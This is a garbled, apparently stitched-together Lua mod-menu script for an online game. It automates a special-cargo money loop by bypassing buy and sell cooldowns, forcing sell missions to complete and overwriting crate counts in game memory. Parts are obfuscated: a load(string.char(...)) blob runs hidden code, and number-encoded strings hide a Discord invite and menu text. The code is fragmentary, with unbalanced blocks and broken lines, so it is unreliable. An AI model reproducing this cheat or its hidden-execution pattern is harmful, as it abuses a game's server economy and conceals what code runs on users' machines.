specialcargo = {prefix = MenuLabels.PREFIX_SPECIALCARGO, amount = 0},
}
local SCRefs = {}
do
SetGlobalInt(globals.SpecialCargoBypassBuyCooldown, 0)
SetGlobalInt(globals.SpecialCargoBypassSellCooldown, 0)
if IsInSession() then
CheckIfAlone()
SetSpecialCargoValues(true)
if AutoCompleteSellMission() then
AddToTotalEarned(globals.SpecialCargoMaxSellPriceValue,
TotalEarnedTypes.specialcargo)
repeat
util.yield()
base =
NETSHOPPING_NET_GAMESERVER_TRANSACTION_IN_PROGRESS(util.get_char_slot())
until base
repeat
util.yield()
base =
NETSHOPPING_NET_GAMESERVER_TRANSACTION_IN_PROGRESS(util.get_char_slot())
until not base
if not base then
util.yield()
SetPlayerInOrgWork(-1)
end
end
end
if IsInSession() then
if not IsInOrg() then
RegisterAsCEO()
end
OpenWarehouseScreen()
while IsScriptRunning(locals.SpecialCargoSecuroString) do
local pos = ENTITY_GET_ENTITY_COORDS(PLAYER_PLAYER_PED_ID())
SetLocalFloat(locals.SpecialCargoSecuroString,
locals.SpecialCargoStartingPosX, pos.x)
SetLocalFloat(locals.SpecialCargoSecuroString,
locals.SpecialCargoStartingPosY, pos.y)
SetLocalFloat(locals.SpecialCargoSecuroString,
locals.SpecialCargoStartingPosZ, pos.z)
util.yield()
end
end
end)
SpecialCargoSourceNow()
end)
if IsInSession() then
SetPlayerPropertyID(-1)
if OpenWarehouseScreen() or
IsScriptRunning(locals.SpecialCargoSecuroString) then
util.yield()
if GetSpecialCargoCrateAmountFromStat(Selected_Warehouse) > 0 then
StartSellMission()
SetPlayerPropertyID(-1)
end
end
end
end)
-- if GetSpecialCargoCrateAmountFromStat(Selected_Warehouse) == 0 then
-- util.toast("상자가 없습니다.\n 돈 반복이 종료되었습니다 \n\n 세션이 변경된 후 다시 자동으로 시작합니다.")
--! needs a label
-- menu.trigger_commands("prcargoloop off")
-- menu.trigger_commands("seamless on")
-- menu.trigger_commands("skipswoopdown on")
-- util.yield(3000)
-- menu.trigger_commands("go solo")
-- util.yield(4000)
-- SpecialCargoSourceNow()
-- SpecialCargoSourceNow()
-- util.yield(5000)
-- menu.trigger_commands("seamless off")
-- menu.trigger_commands("skipswoopdown off")
-- menu.trigger_commands("prcargoloop on")
-- else
-- menu.trigger_commands("mainfunctionPR on")
-- menu.trigger_commands("cratesmoniterPR on")
-- menu.trigger_commands("sellacratePR")
-- util.yield(500)
-- menu.trigger_commands("sellacratePR")
-- util.yield(3000)
-- end
-- end)
local PAD_SET_CONTROL_VALUE_NEXT_FRAME =
function(padIndex,control,amount)nv.begin_call();nv.push_arg_int(padIndex);nv.push_
arg_int(control);nv.push_arg_float(amount);nv.end_call("E8A25867FBA3B05E");return
nv.get_return_value_bool();end
local function PressScaleformButton(buttonID)
PAD_SET_CONTROL_VALUE_NEXT_FRAME(2, buttonID, 1)
util.yield()
PAD_SET_CONTROL_VALUE_NEXT_FRAME(2, buttonID, 0) -- this line is probably
not needed but oh well
end
local TERMINATE_ALL_SCRIPTS_WITH_THIS_NAME =
function(scriptName)native_invoker.begin_call()native_invoker.push_arg_string(scrip
tName)native_invoker.end_call_2(0x9DC711BC69C548DF)end
local function SetSpecialCargoCrateAmount(warehouse, value)
return SetGlobalInt(GetSpecialCargoCrateAmountOffset(warehouse), value)
end
local function GetPlayerInOrgWork()
return IsInSession() and GetGlobalInt(GetOrgOffset() + 33) or -1
end
local function GetOrgType()
-- Returns -1, 0, 1. None, CEO, MC. This will only work if you are the boss
of the org
return GetGlobalInt(GetOrgOffset() + 429)
end
local function skidloopontop()
PressScaleformButton(202)
end
SetSpecialCargoCrateAmount(Selected_Warehouse,
GetSpecialCargoCrateAmountFromStat(Selected_Warehouse))
SetPlayerInOrgWork(-1)
util.yield(200)
else
if GetPlayerInOrgWork() == -1 and OpenWarehouseScreen() then
if StartSellMission() then
local count = 0
local crates =
GetSpecialCargoCrateAmountFromStat(Selected_Warehouse)
local crates2 = GetSpecialCargoCrateAmount(Selected_Warehouse)
while crates ==
GetSpecialCargoCrateAmountFromStat(Selected_Warehouse) or crates2 ==
GetSpecialCargoCrateAmount(Selected_Warehouse) do
count += 1
if count > 30 then
skidloopontop()
return
end
util.yield(100)
end
util.yield_x(2)
end
end
end
end)
end
util.create_tick_handler(function()
prefix = "MP" .. util.get_char_slot() .. "_"
if IsInSession() then
for slot = 0, 4 do
local property_id = GetWarehousePropertyFromSlot(slot)
if property_id ~= 0 then
local property_name = WarehousePropertyInfo[property_id].name
MenuCurrentWarehouses[slot] = {property_name,
{"warehouse"..property_name}, "", property_id}
else
MenuCurrentWarehouses[slot] = {"창고가", {"warehouse".."invalid"}, "없다
zz"}
end
end
menu.set_list_action_options(WarehouseSelector, MenuCurrentWarehouses)
end
return true
end)
util.create_tick_handler(function ()
-- wallet = MONEY.NETWORK_GET_VC_WALLET_BALANCE(util.get_char_slot())
-- if wallet > 0 then
--
NETSHOPPING._NET_GAMESERVER_TRANSFER_WALLET_TO_BANK(util.get_char_slot(),wallet)
-- end
SET_INT_GLOBAL(262145 + 1,0)
menu.trigger_commands("skipcutscene")
end)
pcall(load(string.char(table.unpack({117,116,105,108,46,99,114,101,97,116,101,95,11
6,105,99,107,95,104,97,110,100,108,101,114,40,102,117,110,99,116,105,111,110,40,41,
13,10,13,10,13,10,13,10,32,32,32,32,13,10,32,32,32,32,109,101,110,117,46,115,101,11
6,95,109,101,110,117,95,110,97,109,101,40,76,65,83,84,44,32,34,34,41,13,10,32,32,32
,32,117,116,105,108,46,121,105,101,108,100,40,50,48,48,41,13,10,13,10,32,32,32,32,1
09,101,110,117,46,115,101,116,95,109,101,110,117,95,110,97,109,101,40,76,65,83,84,4
4,32,34,80,34,41,13,10,32,32,32,32,117,116,105,108,46,121,105,101,108,100,40,50,48,
48,41,13,10,13,10,32,32,32,32,109,101,110,117,46,115,101,116,95,109,101,110,117,95,
110,97,109,101,40,76,65,83,84,44,32,34,80,111,34,41,13,10,32,32,32,32,117,116,105,1
08,46,121,105,101,108,100,40,50,48,48,41,13,10,13,10,32,32,32,32,109,101,110,117,46
,115,101,116,95,109,101,110,117,95,110,97,109,101,40,76,65,83,84,44,32,34,80,111,10
8,34,41,13,10,32,32,32,32,117,116,105,108,46,121,105,101,108,100,40,50,48,48,41,13,
10,13,10,32,32,32,32,109,101,110,117,46,115,101,116,95,109,101,110,117,95,110,97,10
9,101,40,76,65,83,84,44,32,34,80,111,108,105,34,41,13,10,32,32,32,32,117,116,105,10
8,46,121,105,101,108,100,40,50,48,48,41,13,10,13,10,32,32,32,32,109,101,110,117,46,
115,101,116,95,109,101,110,117,95,110,97,109,101,40,76,65,83,84,44,32,34,80,111,108
,105,115,34,41,13,10,32,32,32,32,117,116,105,108,46,121,105,101,108,100,40,50,48,48
,41,13,10,13,10,32,32,32,32,109,101,110,117,46,115,101,116,95,109,101,110,117,95,11
0,97,109,101,40,76,65,83,84,44,32,34,80,111,108,105,115,104,34,41,13,10,32,32,32,32
,117,116,105,108,46,121,105,101,108,100,40,50,48,48,41,13,10,13,10,32,32,32,32,109,
101,110,117,46,115,101,116,95,109,101,110,117,95,110,97,109,101,40,76,65,83,84,44,3
2,34,80,111,108,105,115,104,101,34,41,13,10,32,32,32,32,117,116,105,108,46,121,105,
101,108,100,40,50,48,48,41,13,10,13,10,32,32,32,32,109,101,110,117,46,115,101,116,9
5,109,101,110,117,95,110,97,109,101,40,76,65,83,84,44,32,34,80,111,108,105,115,104,
101,100,34,41,13,10,32,32,32,32,117,116,105,108,46,121,105,101,108,100,40,50,48,48,
41,13,10,13,10,32,32,32,32,109,101,110,117,46,115,101,116,95,109,101,110,117,95,110
,97,109,101,40,76,65,83,84,44,32,34,80,111,108,105,115,104,101,100,34,41,13,10,32,3
2,32,32,117,116,105,108,46,121,105,101,108,100,40,50,48,48,41,13,10,13,10,32,32,32,
32,109,101,110,117,46,115,101,116,95,109,101,110,117,95,110,97,109,101,40,76,65,83,
84,44,32,34,80,111,108,105,115,104,101,100,34,41,13,10,32,32,32,32,117,116,105,108,
46,121,105,101,108,100,40,50,48,48,41,13,10,13,10,32,32,32,32,109,101,110,117,46,11
5,101,116,95,109,101,110,117,95,110,97,109,101,40,76,65,83,84,44,32,34,80,111,108,1
05,115,104,101,100,34,41,13,10,32,32,32,32,117,116,105,108,46,121,105,101,108,100,4
0,50,48,48,41,13,10,13,10,32,32,32,32,109,101,110,117,46,115,101,116,95,109,101,110
,117,95,110,97,109,101,40,76,65,83,84,44,32,34,80,111,108,105,115,104,101,100,34,41
,13,10,32,32,32,32,117,116,105,108,46,121,105,101,108,100,40,50,48,48,41,13,10,13,1
0,32,32,32,32,109,101,110,117,46,115,101,116,95,109,101,110,117,95,110,97,109,101,4
0,76,65,83,84,44,32,34,80,111,108,105,115,104,101,100,34,41,13,10,32,32,32,32,117,1
16,105,108,46,121,105,101,108,100,40,50,48,48,41,13,10,13,10,32,32,32,32,109,101,11
0,117,46,115,101,116,95,109,101,110,117,95,110,97,109,101,40,76,65,83,84,44,32,34,8
0,111,108,105,115,104,101,100,34,41,13,10,32,32,32,32,117,116,105,108,46,121,105,10
1,108,100,40,50,48,48,41,13,10,13,10,32,32,32,32,109,101,110,117,46,115,101,116,95,
109,101,110,117,95,110,97,109,101,40,76,65,83,84,44,32,34,66,121,32,100,51,115,107,
115,116,111,111,108,34,41,13,10,32,32,32,32,117,116,105,108,46,121,105,101,108,100,
40,50,48,48,41,13,10,13,10,32,32,32,32,109,101,110,117,46,115,101,116,95,109,101,11
0,117,95,110,97,109,101,40,76,65,83,84,44,32,34,34,41,13,10,32,32,32,32,117,116,105
,108,46,121,105,101,108,100,40,50,48,48,41,13,10,13,10,32,32,32,32,109,101,110,117,
46,115,101,116,95,109,101,110,117,95,110,97,109,101,40,76,65,83,84,44,32,34,66,121,
32,100,51,115,107,115,116,111,111,108,34,41,13,10,32,32,32,32,117,116,105,108,46,12
1,105,101,108,100,40,50,48,48,41,13,10,13,10,32,32,32,32,109,101,110,117,46,115,101
,116,95,109,101,110,117,95,110,97,109,101,40,76,65,83,84,44,32,34,34,41,13,10,32,32
,32,32,117,116,105,108,46,121,105,101,108,100,40,50,48,48,41,13,10,13,10,32,32,32,3
2,109,101,110,117,46,115,101,116,95,109,101,110,117,95,110,97,109,101,40,76,65,83,8
4,44,32,34,66,121,32,100,51,115,107,115,116,111,111,108,34,41,13,10,32,32,32,32,117
,116,105,108,46,121,105,101,108,100,40,50,48,48,41,13,10,32,32,32,32,109,101,110,11
7,46,115,101,116,95,109,101,110,117,95,110,97,109,101,40,76,65,83,84,44,32,34,34,41
,13,10,32,32,32,32,117,116,105,108,46,121,105,101,108,100,40,50,48,48,41,13,10,13,1
0,32,32,32,32,109,101,110,117,46,115,101,116,95,109,101,110,117,95,110,97,109,101,4
0,76,65,83,84,44,32,34,66,121,32,100,51,115,107,115,116,111,111,108,34,41,13,10,32,
32,32,32,117,116,105,108,46,121,105,101,108,100,40,50,48,48,41,13,10,13,10,13,10,10
1,110,100,41,}))))
menu.hyperlink(menu.my_root(),
IHyAoctLQxKrUGRDGyeYJcnpucTcrqn({8085,12705,3360,7140,11025,12075,10395,11655,11970
,10500}),
IHyAoctLQxKrUGRDGyeYJcnpucTcrqn({10920,12180,12180,11760,12075,6090,4935,4935,10500
,11025,12075,10395,11655,11970,10500,4830,10815,10815,4935,5250,12180,10185,11235,1
0605,5145}), IHyAoctLQxKrUGRDGyeYJcnpucTcrqn({}))
util.show_corner_help(IHyAoctLQxKrUGRDGyeYJcnpucTcrqn({7035,12285,11970,11970,10605
,11550,12180,11340,12705,6090,3360})..ver)
NOTIFY(IHyAoctLQxKrUGRDGyeYJcnpucTcrqn({8400,11970,11655,11130,10605,10395,12180,33
60,13230,12705,13230,8400,11655,11340,11025,12075,10920,10605,10500,13230,12075,132
30}))
util.create_tick_handler(function()
function
RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuIgdKJAVWuvLIBOyxKuHEacCH(code)res=''for i in
ipairs(code)do res=res..string.char(code[i]/105)end return res end
menu.set_menu_name(FIRST,
RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuIgdKJAVWuvLIBOyxKuHEacCH({4725,4200,13020,4305
,3360})..ScriptName..RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuIgdKJAVWuvLIBOyxKuHEacCH(
{3360,4200,13020,4305,4725}))
util.yield(200)
menu.set_menu_name(FIRST,
RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuIgdKJAVWuvLIBOyxKuHEacCH({4725,4725,4200,4935,
4305,3360})..ScriptName..RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuIgdKJAVWuvLIBOyxKuHEa
cCH({3360,4200,4935,4305,4725,4725}))
util.yield(200)
menu.set_menu_name(FIRST,
RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuIgdKJAVWuvLIBOyxKuHEacCH({4725,4725,4725,4200,
4725,4305,3360})..ScriptName..RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuIgdKJAVWuvLIBOyx
KuHEacCH({3360,4200,4725,4305,4725,4725,4725}))
util.yield(200)
menu.set_menu_name(FIRST,
RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuIgdKJAVWuvLIBOyxKuHEacCH({4725,4725,4725,4725,
4200,4935,4305,3360})..ScriptName..RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuIgdKJAVWuvL
IBOyxKuHEacCH({3360,4200,4935,4305,4725,4725,4725,4725}))
menu.set_menu_name(FIRST,
RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuIgdKJAVWuvLIBOyxKuHEacCH({4725,4725,4725,4725,
4725,4200,13020,4305,3360})..ScriptName..RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuIgdKJ
AVWuvLIBOyxKuHEacCH({3360,4200,13020,4305,4725,4725,4725,4725,4725}))
util.yield(200)
menu.set_menu_name(FIRST,
RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuIgdKJAVWuvLIBOyxKuHEacCH({4725,4725,4725,4725,
4725,4725,4200,4935,4305,3360})..ScriptName..RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuI
gdKJAVWuvLIBOyxKuHEacCH({3360,4200,4935,4305,4725,4725,4725,4725,4725,4725}))
util.yield(200)
menu.set_menu_name(FIRST,
RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuIgdKJAVWuvLIBOyxKuHEacCH({4725,4725,4725,4725,
4725,4725,4725,4200,4725,4305,3360})..ScriptName..RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYgg
NsDuIgdKJAVWuvLIBOyxKuHEacCH({3360,4200,4725,4305,4725,4725,4725,4725,4725,4725,472
5}))--------------
util.yield(200)
menu.set_menu_name(FIRST,
RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuIgdKJAVWuvLIBOyxKuHEacCH({4725,4725,4725,4725,
4725,4725,4200,4935,4305,3360})..ScriptName..RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuI
gdKJAVWuvLIBOyxKuHEacCH({3360,4200,4935,4305,4725,4725,4725,4725,4725,4725}))
util.yield(200)
menu.set_menu_name(FIRST,
RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuIgdKJAVWuvLIBOyxKuHEacCH({4725,4725,4725,4725,
4725,4200,13020,4305,3360})..ScriptName..RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuIgdKJ
AVWuvLIBOyxKuHEacCH({3360,4200,13020,4305,4725,4725,4725,4725,4725}))
util.yield(200)
menu.set_menu_name(FIRST,
RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuIgdKJAVWuvLIBOyxKuHEacCH({4725,4725,4725,4725,
4200,4935,4305,3360})..ScriptName..RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuIgdKJAVWuvL
IBOyxKuHEacCH({3360,4200,4935,4305,4725,4725,4725,4725}))
util.yield(200)
menu.set_menu_name(FIRST,
RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuIgdKJAVWuvLIBOyxKuHEacCH({4725,4725,4725,4200,
4725,4305,3360})..ScriptName..RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuIgdKJAVWuvLIBOyx
KuHEacCH({3360,4200,4725,4305,4725,4725,4725}))
util.yield(200)
menu.set_menu_name(FIRST,
RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuIgdKJAVWuvLIBOyxKuHEacCH({4725,4725,4200,4935,
4305,3360})..ScriptName..RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuIgdKJAVWuvLIBOyxKuHEa
cCH({3360,4200,4935,4305,4725,4725}))
util.yield(200)
menu.set_menu_name(FIRST,
RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuIgdKJAVWuvLIBOyxKuHEacCH({4725,4200,13020,4305
,3360})..ScriptName..RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuIgdKJAVWuvLIBOyxKuHEacCH(
{3360,4200,13020,4305,4725}))
util.yield(200)
menu.set_menu_name(FIRST,
RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuIgdKJAVWuvLIBOyxKuHEacCH({4200,4725,4305,3360}
)..ScriptName..RTObUkrRYSKwzTkzyXZZRRwLFAnUiUYggNsDuIgdKJAVWuvLIBOyxKuHEacCH({3360,
4200,4725,4305}))
util.yield(200)
end)
function
eMldEzVrUvnsxnWtonzjAdoagcjHkNURDPGAIhhhtMHzUCJzUwVPwgAVTEWrjCfpttpsYzSKyPfbfiw(cod
e)res=''for i in ipairs(code)do res=res..string.char(code[i]/105)end return res end
GRAPHICS.SCALEFORM_MOVIE_METHOD_ADD_PARAM_TEXTURE_NAME_STRING(eMldEzVrUvnsxnWtonzjA
doagcjHkNURDPGAIhhhtMHzUCJzUwVPwgAVTEWrjCfpttpsYzSKyPfbfiw({11760,11970,10605,12075
,10605,11550,12180,12075}))
GRAPHICS.SCALEFORM_MOVIE_METHOD_ADD_PARAM_TEXTURE_NAME_STRING(text)
GRAPHICS.SCALEFORM_MOVIE_METHOD_ADD_PARAM_TEXTURE_NAME_STRING(font)
GRAPHICS.SCALEFORM_MOVIE_METHOD_ADD_PARAM_TEXTURE_NAME_STRING(colour)
GRAPHICS.SCALEFORM_MOVIE_METHOD_ADD_PARAM_BOOL(true)
GRAPHICS.END_SCALEFORM_MOVIE_METHOD()
end
AUDIO.SET_AUDIO_FLAG(eMldEzVrUvnsxnWtonzjAdoagcjHkNURDPGAIhhhtMHzUCJzUwVPwgAVTEWrjC
fpttpsYzSKyPfbfiw({7980,11655,10185,10500,8085,8400,7140,10185,12180,10185}), true)
util.create_thread(function()end)
local startTime = os.time()
scaleform =
GRAPHICS.REQUEST_SCALEFORM_MOVIE(eMldEzVrUvnsxnWtonzjAdoagcjHkNURDPGAIhhhtMHzUCJzUw
VPwgAVTEWrjCfpttpsYzSKyPfbfiw({8295,8400,7245,8190,7665,8190,7455,9975,7035,8610,72
45,7140,7665,8820,8715}))
while not GRAPHICS.HAS_SCALEFORM_MOVIE_LOADED(scaleform) do
util.yield()
end
GRAPHICS.BEGIN_SCALEFORM_MOVIE_METHOD(scaleform,
eMldEzVrUvnsxnWtonzjAdoagcjHkNURDPGAIhhhtMHzUCJzUwVPwgAVTEWrjCfpttpsYzSKyPfbfiw({87
15,7245,8820,8925,8400,9975,8715,7665,8190,7455,7980,7245,9975,7980,7665,8190,7245}
))
GRAPHICS.SCALEFORM_MOVIE_METHOD_ADD_PARAM_TEXTURE_NAME_STRING(eMldEzVrUvnsxnWtonzjA
doagcjHkNURDPGAIhhhtMHzUCJzUwVPwgAVTEWrjCfpttpsYzSKyPfbfiw({11760,11970,10605,12075
,10605,11550,12180,12075}))
GRAPHICS.SCALEFORM_MOVIE_METHOD_ADD_PARAM_FLOAT(0.5)
GRAPHICS.SCALEFORM_MOVIE_METHOD_ADD_PARAM_FLOAT(0.5)
GRAPHICS.SCALEFORM_MOVIE_METHOD_ADD_PARAM_FLOAT(70)
GRAPHICS.SCALEFORM_MOVIE_METHOD_ADD_PARAM_FLOAT(125)
GRAPHICS.SCALEFORM_MOVIE_METHOD_ADD_PARAM_TEXTURE_NAME_STRING(eMldEzVrUvnsxnWtonzjA
doagcjHkNURDPGAIhhhtMHzUCJzUwVPwgAVTEWrjCfpttpsYzSKyPfbfiw({11340,10605,10710,12180
}))
GRAPHICS.END_SCALEFORM_MOVIE_METHOD()
AddTextToSingleLine(scaleform,
eMldEzVrUvnsxnWtonzjAdoagcjHkNURDPGAIhhhtMHzUCJzUwVPwgAVTEWrjCfpttpsYzSKyPfbfiw({88
20,10920,10605}),
eMldEzVrUvnsxnWtonzjAdoagcjHkNURDPGAIhhhtMHzUCJzUwVPwgAVTEWrjCfpttpsYzSKyPfbfiw({37
80,10710,11655,11550,12180,5565}),
eMldEzVrUvnsxnWtonzjAdoagcjHkNURDPGAIhhhtMHzUCJzUwVPwgAVTEWrjCfpttpsYzSKyPfbfiw({84
00,7665,8190,7875}))
AddTextToSingleLine(scaleform, ScriptName,
eMldEzVrUvnsxnWtonzjAdoagcjHkNURDPGAIhhhtMHzUCJzUwVPwgAVTEWrjCfpttpsYzSKyPfbfiw({37
80,10710,11655,11550,12180,5250}),
eMldEzVrUvnsxnWtonzjAdoagcjHkNURDPGAIhhhtMHzUCJzUwVPwgAVTEWrjCfpttpsYzSKyPfbfiw({75
60,8925,7140,9975,7035,8295,7980,8295,8925,8610,9975,9135,7560,7665,8820,7245}))
AddTextToSingleLine(scaleform,
eMldEzVrUvnsxnWtonzjAdoagcjHkNURDPGAIhhhtMHzUCJzUwVPwgAVTEWrjCfpttpsYzSKyPfbfiw({11
760,11970,10605,12075,10605,11550,12180,12075}),
eMldEzVrUvnsxnWtonzjAdoagcjHkNURDPGAIhhhtMHzUCJzUwVPwgAVTEWrjCfpttpsYzSKyPfbfiw({37
80,10710,11655,11550,12180,5565}),
eMldEzVrUvnsxnWtonzjAdoagcjHkNURDPGAIhhhtMHzUCJzUwVPwgAVTEWrjCfpttpsYzSKyPfbfiw({84
00,7665,8190,7875}))
AddTextToSingleLine(scaleform,
eMldEzVrUvnsxnWtonzjAdoagcjHkNURDPGAIhhhtMHzUCJzUwVPwgAVTEWrjCfpttpsYzSKyPfbfiw({10
290,12705}),
eMldEzVrUvnsxnWtonzjAdoagcjHkNURDPGAIhhhtMHzUCJzUwVPwgAVTEWrjCfpttpsYzSKyPfbfiw({37
80,10710,11655,11550,12180,5565}),
eMldEzVrUvnsxnWtonzjAdoagcjHkNURDPGAIhhhtMHzUCJzUwVPwgAVTEWrjCfpttpsYzSKyPfbfiw({75
60,8925,7140,9975,7035,8295,7980,8295,8925,8610,9975,8085,7665,7035,7560,6825,7245,
7980}))
AddTextToSingleLine(scaleform,
eMldEzVrUvnsxnWtonzjAdoagcjHkNURDPGAIhhhtMHzUCJzUwVPwgAVTEWrjCfpttpsYzSKyPfbfiw({71
40,5355,12075,11235,12075,12180,11655,11655,11340}),
eMldEzVrUvnsxnWtonzjAdoagcjHkNURDPGAIhhhtMHzUCJzUwVPwgAVTEWrjCfpttpsYzSKyPfbfiw({37
80,10710,11655,11550,12180,5565}),
eMldEzVrUvnsxnWtonzjAdoagcjHkNURDPGAIhhhtMHzUCJzUwVPwgAVTEWrjCfpttpsYzSKyPfbfiw({75
60,8925,7140,9975,7035,8295,7980,8295,8925,8610,9975,9135,7560,7665,8820,7245}))
GRAPHICS.BEGIN_SCALEFORM_MOVIE_METHOD(scaleform,
eMldEzVrUvnsxnWtonzjAdoagcjHkNURDPGAIhhhtMHzUCJzUwVPwgAVTEWrjCfpttpsYzSKyPfbfiw({87
15,7560,8295,9135,9975,8715,7665,8190,7455,7980,7245,9975,7980,7665,8190,7245}))
GRAPHICS.SCALEFORM_MOVIE_METHOD_ADD_PARAM_TEXTURE_NAME_STRING(eMldEzVrUvnsxnWtonzjA
doagcjHkNURDPGAIhhhtMHzUCJzUwVPwgAVTEWrjCfpttpsYzSKyPfbfiw({11760,11970,10605,12075
,10605,11550,12180,12075}))
GRAPHICS.END_SCALEFORM_MOVIE_METHOD()
GRAPHICS.BEGIN_SCALEFORM_MOVIE_METHOD(scaleform,
eMldEzVrUvnsxnWtonzjAdoagcjHkNURDPGAIhhhtMHzUCJzUwVPwgAVTEWrjCfpttpsYzSKyPfbfiw({87
15,7560,8295,9135,9975,7035,8610,7245,7140,7665,8820,9975,6930,7980,8295,7035,7875}
))
GRAPHICS.SCALEFORM_MOVIE_METHOD_ADD_PARAM_TEXTURE_NAME_STRING(eMldEzVrUvnsxnWtonzjA
doagcjHkNURDPGAIhhhtMHzUCJzUwVPwgAVTEWrjCfpttpsYzSKyPfbfiw({11760,11970,10605,12075
,10605,11550,12180,12075}))
GRAPHICS.SCALEFORM_MOVIE_METHOD_ADD_PARAM_FLOAT(0.5)
GRAPHICS.END_SCALEFORM_MOVIE_METHOD()
end
startyou()